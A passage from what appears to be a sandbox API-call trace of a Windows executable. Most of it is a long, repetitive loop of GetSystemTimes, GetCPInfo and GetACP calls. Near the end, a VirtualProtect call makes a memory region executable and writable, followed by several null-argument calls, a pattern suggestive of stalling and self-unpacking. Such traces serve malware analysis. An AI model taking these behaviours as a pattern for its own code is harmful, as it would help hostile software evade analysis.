lpUserTime=0x18fa68) returned 1 [0056.034] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.034] GetACP () returned 0x4e4 [0056.034] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.034] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.034] GetACP () returned 0x4e4 [0056.035] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.035] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.035] GetACP () returned 0x4e4 [0056.035] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.035] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.035] GetACP () returned 0x4e4 [0056.035] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.035] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.035] GetACP () returned 0x4e4 [0056.035] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.035] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.035] GetACP () returned 0x4e4 [0056.035] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.035] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.035] GetACP () returned 0x4e4 [0056.035] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.035] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.035] GetACP () returned 0x4e4 [0056.035] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.035] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.035] GetACP () returned 0x4e4 [0056.035] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.035] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.035] GetACP () returned 0x4e4 [0056.035] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.035] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.035] GetACP () returned 0x4e4 [0056.036] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.036] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.036] GetACP () returned 0x4e4 [0056.036] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.036] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.036] GetACP () returned 0x4e4 [0056.036] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.036] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.036] GetACP () returned 0x4e4 [0056.036] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.036] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.036] GetACP () returned 0x4e4 [0056.036] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.036] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.036] GetACP () returned 0x4e4 [0056.036] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.036] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.036] GetACP () returned 0x4e4 [0056.036] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.036] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.036] GetACP () returned 0x4e4 [0056.036] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.037] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.037] GetACP () returned 0x4e4 [0056.037] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.037] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.037] GetACP () returned 0x4e4 [0056.037] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.037] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.037] GetACP () returned 0x4e4 [0056.037] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.037] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.037] GetACP () returned 0x4e4 [0056.037] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.037] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.037] GetACP () returned 0x4e4 [0056.037] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.037] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.037] GetACP () returned 0x4e4 [0056.037] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.037] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.037] GetACP () returned 0x4e4 [0056.037] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.037] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.037] GetACP () returned 0x4e4 [0056.037] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.037] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.037] GetACP () returned 0x4e4 [0056.037] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.038] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.038] GetACP () returned 0x4e4 [0056.038] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.038] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.038] GetACP () returned 0x4e4 [0056.038] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.038] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.038] GetACP () returned 0x4e4 [0056.038] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.038] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.038] GetACP () returned 0x4e4 [0056.038] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.038] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.038] GetACP () returned 0x4e4 [0056.038] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.038] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.038] GetACP () returned 0x4e4 [0056.038] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.038] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.038] GetACP () returned 0x4e4 [0056.038] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.038] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.038] GetACP () returned 0x4e4 [0056.038] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.038] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.038] GetACP () returned 0x4e4 [0056.038] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.039] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.039] GetACP () returned 0x4e4 [0056.039] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.039] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.039] GetACP () returned 0x4e4 [0056.039] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.039] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.039] GetACP () returned 0x4e4 [0056.039] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.039] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.039] GetACP () returned 0x4e4 [0056.039] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.039] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.039] GetACP () returned 0x4e4 [0056.039] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.039] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.039] GetACP () returned 0x4e4 [0056.039] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.039] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.039] GetACP () returned 0x4e4 [0056.039] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.039] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.039] GetACP () returned 0x4e4 [0056.039] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.039] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.039] GetACP () returned 0x4e4 [0056.039] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.039] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.040] GetACP () returned 0x4e4 [0056.040] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.040] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.040] GetACP () returned 0x4e4 [0056.040] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.040] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.040] GetACP () returned 0x4e4 [0056.040] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.040] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.040] GetACP () returned 0x4e4 [0056.040] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.040] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.040] GetACP () returned 0x4e4 [0056.040] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.040] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.040] GetACP () returned 0x4e4 [0056.040] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.040] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.040] GetACP () returned 0x4e4 [0056.040] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.040] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.040] GetACP () returned 0x4e4 [0056.040] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.040] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.040] GetACP () returned 0x4e4 [0056.040] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.040] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.041] GetACP () returned 0x4e4 [0056.041] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.041] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.041] GetACP () returned 0x4e4 [0056.041] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.041] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.041] GetACP () returned 0x4e4 [0056.041] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.041] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.041] GetACP () returned 0x4e4 [0056.041] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.041] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.041] GetACP () returned 0x4e4 [0056.041] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.041] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.041] GetACP () returned 0x4e4 [0056.041] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.041] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.041] GetACP () returned 0x4e4 [0056.041] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.041] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.041] GetACP () returned 0x4e4 [0056.041] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.041] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.041] GetACP () returned 0x4e4 [0056.041] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.041] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.041] GetACP () returned 0x4e4 [0056.042] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.042] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.042] GetACP () returned 0x4e4 [0056.042] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.042] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.042] GetACP () returned 0x4e4 [0056.042] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.042] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.042] GetACP () returned 0x4e4 [0056.042] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.042] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.042] GetACP () returned 0x4e4 [0056.042] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.042] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.042] GetACP () returned 0x4e4 [0056.042] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.042] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.042] GetACP () returned 0x4e4 [0056.042] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.043] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.043] GetACP () returned 0x4e4 [0056.043] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.043] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.043] GetACP () returned 0x4e4 [0056.043] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.043] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.043] GetACP () returned 0x4e4 [0056.043] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.043] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.043] GetACP () returned 0x4e4 [0056.043] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.043] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.043] GetACP () returned 0x4e4 [0056.043] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.043] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.043] GetACP () returned 0x4e4 [0056.256] VirtualProtect (in: lpAddress=0x5f5ac0, dwSize=0xf2eb, flNewProtect=0x40, lpflOldProtect=0x43ad04 | out: lpflOldProtect=0x43ad04*=0x4) returned 1 [0056.257] AddAtomA (lpString=0x0) returned 0x0 [0056.257] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.257] GetCurrentDirectoryA (in: nBufferLength=0x0, 